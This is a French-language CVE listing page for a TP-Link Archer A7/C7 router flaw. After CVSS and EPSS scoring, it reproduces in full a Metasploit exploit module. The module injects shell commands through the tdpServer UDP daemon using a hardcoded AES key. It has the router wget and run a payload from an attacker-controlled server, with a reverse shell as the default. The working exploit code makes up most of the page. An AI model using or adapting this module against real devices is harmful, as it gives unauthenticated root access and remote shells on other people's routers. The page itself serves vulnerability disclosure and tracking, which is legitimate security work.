Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-732 |
Incorrect Permission Assignment for Critical Resource
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
| V3.0 |
5.3 |
MEDIUM |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is reduced performance or interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
|
| V2 |
4.6 |
|
AV:L/AC:L/Au:N/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 48331
Date de publication : 2020-04-15 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on
the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command
as root, including downloading and executing a binary from another host.
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],
[ 'CVE', '2020-10882'],
[ 'CVE', '2020-10883'],
[ 'CVE', '2020-10884'],
[ 'ZDI', '20-334'],
[ 'ZDI', '20-335'],
[ 'ZDI', '20-336' ]
],
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Payload' => {},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
'WfsDelay' => 15,
},
'Targets' =>
[
[ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]
],
'DisclosureDate' => "Mar 25 2020",
'DefaultTarget' => 0,
)
)
register_options(
[
Opt::RPORT(20002)
])
register_advanced_options(
[
OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])
])
end
def check
begin
res = send_request_cgi({
'uri' => '/webpages/app.1564127413977.manifest',
'method' => 'GET',
'rport' => 80
})
if res && res.code == 200
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
pass
end
return Exploit::CheckCode::Unknown
end
def calc_checksum(packet)
# reference table used to calculate the packet checksum
# used by tdpd_pkt_calc_checksum (0x4037f0)
# located at offset 0x0416e90 in the binary
reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,
0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,
0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,
0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,
0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,
0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,
0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,
0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,
0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,
0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,
0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b,
0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8,
0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32,
0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d,
0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf,
0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95,
0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6,
0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c,
0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01,
0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85,
0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78,
0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98,
0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6,
0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30,
0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82,
0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9,
0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15,
0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65, 0x4d, 0xb2, 0x61,
0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb, 0x30, 0xe2, 0x4a,
0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d, 0xd3, 0xd6, 0xf4,
0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda,
0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c,
0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe,
0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85,
0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29,
0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d,
0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed,
0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2,
0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73,
0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a,
0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a,
0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3,
0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80,
0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b,
0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9,
0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e,
0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f,
0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06,
0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36,
0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf,
0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc,
0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77,
0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5,
0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a,
0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b,
0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3,
0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72,
0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a,
0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5,
0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2,
0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81,
0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47,
0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11,
0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff,
0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e,
0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16,
0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9,
0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae,
0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd,
0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3,
0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23,
0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,
0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,
0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]
res = 0xffffffff
# main checksum calculation
packet.each_entry { |c|
index = ((c ^ res) & 0xff) * 4
# .reverse is needed as the target is big endian
ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)
res = ref ^ (res >> 8)
}
checksum = ~res
checksum_s = [(checksum)].pack('I>').force_encoding("ascii")
# convert back to string
packet = packet.pack('C*').force_encoding('ascii')
# and replace the checksum
packet[12] = checksum_s[0]
packet[13] = checksum_s[1]
packet[14] = checksum_s[2]
packet[15] = checksum_s[3]
packet
end
def aes_encrypt(plaintext)
# Function encrypts perfectly 16 bytes aligned payload
if (plaintext.length % 16 != 0)
return
end
cipher = OpenSSL::Cipher.new 'AES-128-CBC'
# in the original C code the key and IV are 256 bits long... but they still use AES-128
iv = "1234567890abcdef"
key = "TPONEMESH_Kf!xn?"
encrypted = ''
cipher.encrypt
cipher.iv = iv
cipher.key = key
# Take each 16 bytes block and encrypt it
plaintext.scan(/.{1,16}/) { |block|
encrypted += cipher.update(block)
}
encrypted
end
def create_injection(c)
# Template for the command injection
# The injection happens at "slave_mac" (read advisory for details)
# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.
# This will fail if we send a command with single quotes (')
# ... but that's not a problem for this module, since we don't use them for our command.
# It might also fail with double quotes (") since this will break the JSON...
inject = "\';printf \'#{c}\'>>#{@cmd_file}\'"
template = "{\"method\":\"slave_key_offer\",\"data\":{"\
"\"group_id\":\"#{rand_text_numeric(1..3)}\","\
"\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\
"\"slave_mac\":\"%{INJECTION}\","\
"\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\
"\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\
"\"want_to_join\":false,"\
"\"model\":\"#{rand_text_alpha(5..13)}\","\
"\"product_type\":\"#{rand_text_alpha(5..13)}\","\
"\"operation_mode\":\"A%{PADDING}\"}}"
# This is required to calculate exact template length without replace flags
template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length
# This has to be initialized to cover the situation when no padding is needed
pad = ''
padding = rand_text_alpha(16)
template_len += inject.length
# Calculate pad if padding is needed
if (template_len % 16 != 0)
pad = padding[0..15-(template_len % 16)]
end
# Here the final payload is created
template % {INJECTION:"#{inject}", PADDING:"#{pad}"}
end
def update_len_field(packet, payload_length)
new_packet = packet[0..3]
new_packet += [payload_length].pack("S>")
new_packet += packet[6..-1]
end
def exec_cmd_file(packet)
# This function handles special action of exec
# Returns new complete tpdp packet
inject = "\';sh #{@cmd_file}\'"
payload = create_injection(inject)
ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end
new_packet = packet[0..15]
new_packet += ciphertext
new_packet = update_len_field(new_packet, ciphertext.length)
calc_checksum(new_packet.bytes)
end
# Handle incoming requests from the router
def on_request_uri(cli, request)
print_good("#{peer} - Sending executable to the router")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload_exe)
@payload_sent = true
end
def exploit
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
end
if datastore['SSL']
fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it")
end
print_status("Attempting to exploit #{target.name}")
tpdp_packet_template =
[0x01].pack('C*') + # packet version, fixed to 1
[0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)
[0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table
[0x00].pack('S>*') + # packet len
[0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function
[0x00].pack('C*') + # dunno what this is
[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value
[0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder
srv_host = datastore['SRVHOST']
srv_port = datastore['SRVPORT']
@cmd_file = rand_text_alpha_lower(1)
# generate our payload executable
@payload_exe = generate_payload_exe
# Command that will download @payload_exe and execute it
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"
http_service = 'http://' + srv_host + ':' + srv_port.to_s
print_status("Starting up our web service on #{http_service} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@cmd_file}"
}})
print_status("#{peer} - Connecting to the target")
connect_udp
print_status("#{peer} - Sending command file byte by byte")
print_status("#{peer} - Command: #{download_cmd}")
mod = download_cmd.length / 5
download_cmd.each_char.with_index { |c, index|
# Generate payload
payload = create_injection(c)
if not payload
fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")
end
# Encrypt payload
ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end
tpdp_packet = tpdp_packet_template.dup
tpdp_packet += ciphertext
tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
tpdp_packet = calc_checksum(tpdp_packet.bytes)
udp_sock.put(tpdp_packet)
# Sleep to make sure the payload is processed by a target
Rex.sleep(1)
# Print progress
if ((index+1) % mod == 0)
percentage = 20 * ((index+1) / mod)
# very advanced mathemathics in use here to show the progress bar
print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]")
if percentage == 100
# a bit of cheating to get the last char done right
index = -2
end
#print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
end
}
# Send the exec command. From here we should receive the connection
print_status("#{peer} - Command file sent, attempting to execute...")
tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)
udp_sock.put(tpdp_packet)
timeout = 0
while not @payload_sent
Rex.sleep(1)
timeout += 1
if timeout == datastore['MAX_WAIT'].to_i
fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")
end
end
disconnect_udp
end
end
Products Mentioned
Configuraton 0
Tp-link>>Ac1750_firmware >> Version 190726
Tp-link>>Ac1750 >> Version -
Références
